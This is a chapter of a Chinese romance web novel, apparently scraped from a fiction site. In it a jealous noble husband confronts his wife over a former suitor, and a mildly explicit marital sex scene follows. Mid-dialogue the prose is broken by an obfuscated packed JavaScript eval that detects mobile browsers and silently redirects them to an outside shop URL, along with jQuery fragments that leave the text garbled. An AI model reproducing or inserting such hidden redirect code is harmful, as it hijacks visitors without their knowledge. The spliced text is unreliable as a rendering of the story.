文趣网 > 其他小说 > 引诱高冷世子做替身后 > 43. 第 43 章
    用过早膳,顾珏洲去官署,公主点点头,没叮嘱什么。

    顾珏洲认真持重,早已成为陛下面前的红人,超过这一层,他还是陛下的亲外甥,公主没什么要叮嘱他的。

    虞满也跟着他出去,她今日已经和姚沛音相约,要去京中善德牌楼那听曲,再去广和楼吃糕点。

    顾珏洲走着走着,忽然停下脚步。

    虞满险些撞上他宽阔的背。

    “怎么了夫君?”虞满纳闷地问。

    顾珏洲回身,忽然伸手,在她脸上捏了一下。

    他的手劲很大,哪怕收着,还是把虞满的脸颊捏红了,他做这动作的时候,面容平静,只一双眼深深盯着她。

    只捏了一下,他便收手,若无其事地继续往前走。

    虞满疑惑不已,快走了两步重新跟上他,问:“你干嘛捏我?”

    “好捏。”他淡淡道。

    “你说的不错,”虞满认同地点头,她是鹅蛋脸,下巴尖翘,脸颊上还有一点肉,捏着手感很好,她知道的,因为,“我哥也这么说。”

    顾珏洲脚步停下了。

    他心想,真的没见过这么腻的兄妹。

    虞满还想说什么,见他比刚刚更深沉地盯着自己,然后说了句气人的话:

    “可惜,虞浟现在揉不到了。”

    虞满愣住,她好像听出了些争抢的味。

    她的脸这才后知后觉地发红,过了会儿,呐呐地开口:“夫君,脸被你捏红了。”

    顾珏洲没理她,径直走出了院门。

    直到坐在马车上,他才看向自己的右手,呼出一口气。

    其实是不该如此的。虞满幼稚又娇气,他却应当持重。

    但这自制力怎么到她面前,就跟摆设一样。

    虞满心里很快揭过这一篇,她知道自己的脸好捏,虞浟喜欢捏,表姐姚沛音也喜欢捏。

    所以顾珏洲捏了一把,只是这动作对他来说有些出格而已,却也没什么,毕竟两人都是夫妻了。

    他掌上有些茧,硬硬的,应当是素日会练剑的原因。没有表姐捏她舒服。

    她在马车上这么想着,便到了和姚沛音约好见面的地方,善德牌楼。

    今日唱的是一出新戏,两人都没听过,在戏园子的雅座里叫好。

    京城风气开放,许多同她们一样的女子出来听戏,有的戴幕篱携随从,有的不戴。

    戏听完,姚沛音道:“我刚就想问,皎皎,你怎么老在揉自己的脸。”

    虞满顿住,手赶忙从脸侧放下来:“有吗?”

    姚沛音一副「你自己看看呢」的神情。

    虞满在摸早上被顾珏洲捏过的地方。他手劲真大,都过了那么久了,虞满还觉得那块皮肤在发烫。

    “表姐帮我看看,是不是有点红?”她侧过脸给姚沛音看。

    “好着呢。”姚沛音回答。

    虞满心想,怎么会好着呢,她明明觉得有些烫来着。

    心里正嘀咕着,又被姚沛音拉去了金玉斋,旁观了一场拍卖,然后上了广和楼。

    没想到,吃完糕点出来,碰见了方嘉誉。

    方嘉誉看见虞满后一愣,上前来和他打招呼。

    他有点苦恼。入朝为官的日子,没有他原想的那么简单,更没他想的那么畅意。

    发生了一件要紧事。他上回提出的关于治水的奏疏被顾珏洲批了,说太泛泛而谈,是纸上谈兵。

    方嘉誉当场就呆住了,他没想到顾珏洲会开口说话。

    约莫是表现不争气,连陛下也觉得他的奏疏太空,命他仔细考虑过后再回话。

    那些原先便说他得罪了顾大人,父亲又即将致仕,在官途上走不远的同僚,便将那这件事做了个例。

    他在官场,原先威望便不足,眼下更摇摇欲坠。

    他苦恼,都写在脸上,脸下都有乌青,一副愁眉不展睡不好的模样。

    虞满问:“方公子,你这是怎么了?”

    方嘉誉习惯性地想开口叫她一声「虞姑娘」,话还未说出口便察觉两人身份有别,赶忙换了称呼:“世子夫人,不知您可愿帮方某一个忙。”

    姚沛音率先打岔道:“方公子,官场上的事,我们恐怕帮不了。”

    她隐约知道方嘉誉想说什么。因她听父亲说过这件事,也有些意外方嘉誉竟会找女人帮忙。

    这是一点小挫折而已,谁也不是初入朝便直接站稳脚跟的。姚沛音意识到方嘉誉有些沉不住气,并不像他们姚家一开始想象的那么优秀。

    其实那些时日方嘉誉被皎皎拒绝,魂不守舍,姚沛音就已经对他有些意见。

    说句不厚道的,他与顾珏洲,当真天差地别。姚沛音觉得,皎皎躲过了一个隐蔽的坑。

    她想拉着虞满离开。

    “是方某唐突了,原想着只要世子夫人肯听某说句话即可。”方嘉誉道。

    虞满还是心软了,她道:“你说吧,我们听着,但能不能帮到你,我没法承诺。”

    她知晓方嘉誉殿试考的不好,虽然跟她无关,但她还是会归咎一点到自己身上。

    方嘉誉便将这些日子发生的事简短和虞满讲了。

    虞满这才知晓,原来顾珏洲当朝驳斥了方嘉誉的奏疏,还因为他曾经追求过自己,而对他颇有意见。

    姚沛音皱眉:“方公子,这个忙我们帮不了。”

    虞满也点头,朝堂上的事,她没办法。但她听着方嘉誉讲的后半部分,心想顾珏洲也不该这样。

    那都是过去的事了,方嘉誉也是好不容易才考中为官,顾珏洲对他有意见,好像有点刻薄。

    方嘉誉面色难掩失望,还是强撑着笑了笑:“不打扰二位了。”

    他转身离开,虞满也被姚沛音拉走。几人都未注意到道路对面缓缓行来一辆马车,车内的人沉默着将这一切看在眼底。

    廖行在车旁候着,他刚问过世子是否要叫住夫人,世子没说话。

    车内很静默。顾珏洲看着虞满穿着的新衣服,是绯红色的,好看。

    上次她穿这样的衣裳,似乎是在那日灯会,她被人群裹挟,他没多想,伸出手将她按在自己怀中,簪子掉了,当啷一声脆响,响在顾珏洲耳边。

    那日她也是一身绯红色。

    她穿绯红色好看,将娇艳展露无疑,似芙蓉花。顾珏洲掀开轿帘,平静道:“虞满。”

    虞满听见熟悉的声音,有些不可思议,这才看见平远侯府的马车。

    她随后提着裙边来到车旁:“夫君,你今日不是在官府吗?”

    “临时有事回去一趟。”顾珏洲道,“上车,跟我一起回府。”

    他剑眉微压,好像有点不高兴。虞满看向姚沛音,后者道:“正好也逛累了,我回去睡午觉。”

    “那皎皎就交给你了,顾大人。”姚沛音道,“方才方公子同我们二人闲聊了几句就走了。”

    她特意强调「我们二人」。顾珏洲没说什么。

    虞满上了车,她手中还提着刚刚在广和楼买的枣泥糕,用油纸包裹着,香气隐隐从纸缝透出。

    原是打算带回去给婆母尝尝的,他既来了,虞满便问:“夫君,你吃不吃?很甜。”

    “不喜欢吃甜的。”顾珏洲淡道。

    “哦。”虞满知道他不爱吃甜,也没强求,又道,“刚才方公子......”

    “刚才方嘉誉......”

    两人同时开口,又同时停下来。顾珏洲眯了眯眼:“你说。”

    他隐约从虞满的语气中听出点打抱不平的意味。这让他不想将原本的询问说出口了。

    “我刚刚听方公子说,夫君你在针对他吗?”虞满眨巴两下眼睛,她问。

    顾珏洲脸色一沉:“他这么说?”

    是他没想到,方嘉誉居然还会跟女人告状。

    还不是旁人,正是他的妻子。

    “他也没说这么直接啦。”虞满笑了下,语气变软了些,“他说你因为我,而对他有意见。你驳了他的奏疏,就是这个原因。”

    她说这话时,又像撒娇了,还带着羞涩。

    “夫君,我都不知晓,原来你这么在意呢。”虞满又说,“夫君,我一早就拒绝他,同他说清楚了。那些都是往事了,夫君你不用在意的。真的。”

    她自认为非常善解人意地「开导」他。

    顾珏洲:“......是吗。”

    他都不知道他很在意,虞满倒是知道了。

    “是呀。”虞满道,“所以夫君你没必要针对他的。方公子虽然殿试发挥不好,但也考上了。他寒窗苦读也很不容易的。”

    顾珏洲道:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693238|205204||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    虞满,在你心中我就是这样的人?”

    “也不是啦。”虞满看着他,“所以我在想,这里是不是有什么误会。”

    顾珏洲看着她水灵灵的眼睛,心想,她就是认为自己是这样的人。

    而且她以为自己会为了她争风吃醋,这让她高兴。

    顾珏洲:“虞满,我没有针对任何人。”

    虞满微微睁大眼睛,他的手就捏住了她的下颌,将她的脸带近了些:“也没有对他有意见。”

    虞满看着忽然放大的俊脸,脑中一片空白,目光都变得愣愣的。

    顾珏洲看她这副模样,笑了一声。

    他的视线下移到面前的粉唇上,上面还残余着亮晶晶的口脂,方才在广和楼吃过点心,大部分蹭掉了。

    他啧了一声,觉得还是她原先的唇色更为好看,用指腹将她唇上的残余也擦去。

    虞满的下巴还被他捏着,躲也躲不了。

    在车厢内,十足暧昧。她的裙子柔软,覆在他腿上,娇躯往前探,香气不受阻地袭来。

    他的指腹有点粗糙,磨蹭到虞满娇嫩的唇,带着些微刺痛。她唔了一声,发出有点可怜的声音。

    听见这声音,顾珏洲心里一突,意识到自己在做什么,猛然将她放开。

    看他视线移开,似乎深吸了一口气,虞满疑惑地偏了偏头,又回到刚刚的话题:“那方公子的事......”

    “他奏章写的有问题,陛下已经说了。”顾珏洲的面色恢复冷静,“让他改,多研究水务究竟如何治理,而不是成日想着旁人如何看他,本末倒置。”

    虞满半懂不懂,哦了一声:“那有人告诉方公子吗?”

    “他是小孩子吗,什么事都需要旁人告诉?”顾珏洲不满,方嘉誉再怎么说也是做官的人,他这么稚嫩怀柔,只会让顾珏洲觉得,国子监和京师学堂的教学要大改。

    再这么说下去,顾珏洲原先对方嘉誉没意见也要有意见了。

    虞满想想也有道理,她心情松快起来,就势往顾珏洲身上靠去:“我就知道,夫君明白事理,怎么可能这么幼稚。”

    看着那只环上自己臂弯的手,顾珏洲心口又一跳,他不动声色地将手臂移开:“没有人想要针对他,刚入朝堂的新人,朝臣没那么无聊。”

    年轻莽撞,柔弱无力,背景不硬,官职也不高,顾珏洲找遍了也没找见方嘉誉能被人针对的点。

    可虞满的手不听话,还是牵了上来,嘴上还在说:“夫君,你的手臂好粗哦。”

    顾珏洲:“......”

    她在榻上也用这种语气,软绵绵的,顾珏洲几乎一瞬就硬了起来。

    她偏不知晓,那只手还在四处点火,最后被顾珏洲一把抓住,阴恻恻地看着她:“这么喜欢?”

    虞满很诚实,他长得好,还是她的夫君,这有什么不好承认的,便道:“你是我夫君呀。”

    顾珏洲眸子一紧:“那你还一直在提别的男人?”

    “唔。”虞满道,“方公子只是太郁闷,他以为自己仕途要结束了。”

    “还提?”顾珏洲道。

    虞满捂住嘴,但没有悔改的意思,眼睛笑的弯弯的看他。

    她是故意的。

    这下,把他心中的火气都勾出来了。

    马车已经行至侯府门口,他直接将虞满抱下来上小轿,自己也进去,到了栖晖院,又将虞满抱下来,抱进房间。

    他不太喜欢虞满反复牵动他思绪,这让他觉得自己不够自持。他原意是将她抱回来即可,免得她可刚准备起身,虞满就勾住了他的腰带,咯咯笑着看他。

    这不亚于一种盛情的邀请,顾珏洲喉结滚动,人就压了下去。

    房内用了冰,不热,但两人闹完,缸内的冰已全部化成水,只有些残余漂在水面上。

    虞满出了一身汗,软绵绵地去推他。被他箍在怀中,又捏住脸。

    他道:“这几日我要出去一趟,不回府。”

    “你在府中乖乖的,不许再和别的男人见面。”他看虞满半眯着眼睛,手上捏她的劲就加重了些,“听到没有。”

    虞满糊里糊涂地嗯了声。

    顾珏洲就当她答应了,心情竟更好,他看着她这模样,竟有种亲她的欲望。可当他意识到这点后一怔,微微沉了脸,起身去擦洗。